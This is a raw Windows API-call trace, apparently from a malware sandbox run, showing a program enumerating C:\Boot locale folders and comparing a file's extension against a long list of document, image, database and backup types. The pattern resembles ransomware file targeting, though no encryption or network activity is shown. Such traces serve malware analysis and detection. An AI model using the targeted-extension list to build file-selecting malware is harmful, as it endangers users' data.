	[0037.021] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.021] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.021] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.021] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.021] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0037.021] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.021] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.022] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.022] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.022] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.022] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1
	[0037.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.022] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.022] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.022] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.022] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.022] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0037.022] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.023] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.023] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.023] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0037.023] FindClose (in: hFindFile=0x3600e80 | out: hFindFile=0x3600e80) returned 1
	[0037.023] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x35f0e78 | out: hHeap=0x4f0000) returned 1
	[0037.023] FindNextFileW (in: hFindFile=0x5df8c8, lpFindFileData=0x2ebfa84 | out: lpFindFileData=0x2ebfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1
	[0037.023] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35f0e78
	[0037.023] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3600e80
	[0037.765] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0037.765] FindNextFileW (in: hFindFile=0x3600e80, lpFindFileData=0x2ebf808 | out: lpFindFileData=0x2ebf808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0039.691] FindNextFileW (in: hFindFile=0x3ec2988, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.691] FindNextFileW (in: hFindFile=0x3ec2988, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0042.522] FindNextFileW (in: hFindFile=0x3ec2a08, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0042.523] FindNextFileW (in: hFindFile=0x3ec2a08, lpFindFileData=0x2ebf094 | out: lpFindFileData=0x2ebf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1
	[0059.391] FindNextFileW (in: hFindFile=0x3ec2bc8, lpFindFileData=0x2ebf58c | out: lpFindFileData=0x2ebf58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.391] FindNextFileW (in: hFindFile=0x3ec2bc8, lpFindFileData=0x2ebf58c | out: lpFindFileData=0x2ebf58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0059.391] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned 1
	[0059.391] lstrcmpiW (lpString1="C:\\Windows", lpString2="en-US") returned -1
	[0059.391] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x35e0e70
	[0059.392] FindNextFileW (in: hFindFile=0x3ec2b88, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228e0708, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.392] FindNextFileW (in: hFindFile=0x3ec2b88, lpFindFileData=0x2ebf310 | out: lpFindFileData=0x2ebf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2eda9c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2eda9c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1
	[0059.392] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0059.392] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0059.393] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0059.394] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0059.394] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0059.395] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0059.396] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0059.397] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0059.398] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0059.398] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0059.399] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0059.400] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
